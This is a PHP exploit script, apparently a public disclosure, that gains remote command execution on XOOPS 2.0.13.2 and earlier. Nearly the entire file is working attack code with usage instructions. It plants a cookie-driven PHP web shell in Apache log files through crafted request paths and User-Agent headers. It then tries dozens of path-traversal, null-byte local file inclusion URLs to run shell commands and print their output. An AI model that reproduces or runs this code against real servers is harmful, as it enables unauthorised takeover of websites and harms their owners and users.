xoops20132.txt

`#!/usr/bin/php -q -d short_open_tag=on  
<?  
echo "XOOPS <= 2.0.13.2 'xoopsOption[nocommon]' exploit\r\n";  
echo "by rgod [email protected]\r\n";  
echo "site: http://retrogod.altervista.org\r\n\r\n";  
  
/*  
works with:  
magic_quotes_gpc = Off  
register_globals = On  
*/  
  
if ($argc<4) {  
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";  
echo "host: target server (ip/hostname)\r\n";  
echo "path: path to xoops\r\n";  
echo "cmd: a shell command\r\n";  
echo "Options:\r\n";  
echo " -p[port]: specify a port other than 80\r\n";  
echo " -P[ip:port]: specify a proxy\r\n";  
echo "Examples:\r\n";  
echo "php ".$argv[0]." localhost /xoops/ \r\n";  
echo "php ".$argv[0]." localhost /xoops/ ls -la -p81\r\n";  
echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n";  
die;  
}  
  
/* hi, back from my annual social engineering tour, this year in Milan ;)  
welcome to this new 0day experience...  
explaination:  
  
vulnerable code in mainfile.php at lines 94-96:  
...  
if (!isset($xoopsOption['nocommon']) && XOOPS_ROOT_PATH != '') {  
include XOOPS_ROOT_PATH."/include/common.php";  
}  
...  
  
if register_globals = On you can overwrite $xoopsOption['nocommon'] var, to  
skip common.php inclusion where $xoopsConfig['language'] and  
$xoopsConfig['theme_set] are initialized, so, if magic_quotes_gpc=Off  
you can include arbitrary files from local resources, ex., Apache log files:  
  
http://[target]/[path]/misc.php?cmd=ls%20-la&xoopsOption[nocommon]=1&xoopsConfig[language]=../../../../../../../../../../var/log/httpd/access_log%00  
http://[target]/[path]/index.php?cmd=ls%0-la&xoopsOption[nocommon]=1&xoopsConfig[theme_set]=../../../../../../../../../../var/log/httpd/error_log%00  
  
or, if avatar uploads are enabled:  
  
http://[target]/xoops/html/index.php?cmd=ls%20-la&xoopsOption[nocommon]=1&xoopsConfig[theme_set]=../uploads/cavt44703c30d3dbf.jpg%00  
  
this tool inject some php code in apache log files and try to launch commands  
*/  
  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
function quick_dump($string)  
{  
$result='';$exa='';$cont=0;  
for ($i=0; $i<=strlen($string)-1; $i++)  
{  
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  
{$result.=" .";}  
else  
{$result.=" ".$string[$i];}  
if (strlen(dechex(ord($string[$i])))==2)  
{$exa.=" ".dechex(ord($string[$i]));}  
else  
{$exa.=" 0".dechex(ord($string[$i]));}  
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}  
}  
return $exa."\r\n".$result;  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.$host.':'.$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid proxy...';die;  
}  
$parts=explode(':',$proxy);  
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='') {  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
}  
else {  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
#debug  
#echo "\r\n".$html;  
}  
  
$host=$argv[1];  
$path=$argv[2];  
$cmd="";$port=80;$proxy="";  
  
for ($i=3; $i<=$argc-1; $i++){  
$temp=$argv[$i][0].$argv[$i][1];  
if (($temp<>"-p") and ($temp<>"-P"))  
{$cmd.=" ".$argv[$i];}  
if ($temp=="-p")  
{  
$port=str_replace("-p","",$argv[$i]);  
}  
if ($temp=="-P")  
{  
$proxy=str_replace("-P","",$argv[$i]);  
}  
}  
$cmd=urlencode($cmd);  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
  
echo "[1] Injecting some code in log files ...\r\n\r\n";  
$CODE="*delim*<?php error_reporting(0);set_time_limit(0);passthru(\$_COOKIE[cmd]);die;?>";  
$packet="GET ".$p.$CODE." HTTP/1.0\r\n";  
$packet.="User-Agent: ".$CODE." Googlebot/2.1\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: close\r\n\r\n";  
sendpacketii($packet);  
sleep(1);  
  
//fill with possible locations...  
$paths=array(  
"../../../../../../../../../../var/log/httpd/access_log",  
"../../../../../../../../../../var/log/httpd/error_log",  
"../apache/logs/error.log",  
"../apache/logs/access.log",  
"../../apache/logs/error.log",  
"../../apache/logs/access.log",  
"../../../apache/logs/error.log",  
"../../../apache/logs/access.log",  
"../../../../apache/logs/error.log",  
"../../../../apache/logs/access.log",  
"../../../../../apache/logs/error.log",  
"../../../../../apache/logs/access.log",  
"../../../../../../apache/logs/error.log",  
"../../../../../../apache/logs/access.log",  
"../logs/error.log",  
"../logs/access.log",  
"../../logs/error.log",  
"../../logs/access.log",  
"../../../logs/error.log",  
"../../../logs/access.log",  
"../../../../logs/error.log",  
"../../../../logs/access.log",  
"../../../../../logs/error.log",  
"../../../../../logs/access.log",  
"../../../../../../logs/error.log",  
"../../../../../../logs/access.log",  
"../../../../../../../../../../etc/httpd/logs/acces_log",  
"../../../../../../../../../../etc/httpd/logs/acces.log",  
"../../../../../../../../../../etc/httpd/logs/error_log",  
"../../../../../../../../../../etc/httpd/logs/error.log",  
"../../../../../../../../../../var/www/logs/access_log",  
"../../../../../../../../../../var/www/logs/access.log",  
"../../../../../../../../../../usr/local/apache/logs/access_log",  
"../../../../../../../../../../usr/local/apache/logs/access.log",  
"../../../../../../../../../../var/log/apache/access_log",  
"../../../../../../../../../../var/log/apache/access.log",  
"../../../../../../../../../../var/log/access_log",  
"../../../../../../../../../../var/www/logs/error_log",  
"../../../../../../../../../../var/www/logs/error.log",  
"../../../../../../../../../../usr/local/apache/logs/error_log",  
"../../../../../../../../../../usr/local/apache/logs/error.log",  
"../../../../../../../../../../var/log/apache/error_log",  
"../../../../../../../../../../var/log/apache/error.log",  
"../../../../../../../../../../var/log/access_log",  
"../../../../../../../../../../var/log/error_log"  
);  
  
$xpl= array (  
"misc.php?xoopsOption[nocommon]=1&xoopsConfig[language]=",  
"index.php?xoopsOption[nocommon]=1&xoopsConfig[theme_set]="  
);  
  
for ($j=0; $j<=count($xpl)-1; $j++)  
{  
for ($i=0; $i<=count($paths)-1; $i++)  
{  
$a=$i+2;  
echo "[".$a."] Trying with: ".$xpl[$j].$paths[$i]."%00\r\n";  
$packet ="GET ".$p.$xpl[$j].$paths[$i]."%00 HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Cookie: cmd=".$cmd.";\r\n";  
$packet.="Connection: Close\r\n\r\n";  
#debug  
#echo quick_dump($packet);  
sendpacketii($packet);  
if (strstr($html,"*delim*"))  
{  
echo "Exploit succeeded...\r\n";  
$temp=explode("*delim*",$html);  
die($temp[1]);  
}  
}  
}  
//if you are here...  
echo "Exploit failed...";  
?>  
  
  
original url: http://retrogod.altervista.org/xoops_20132_incl.html  
`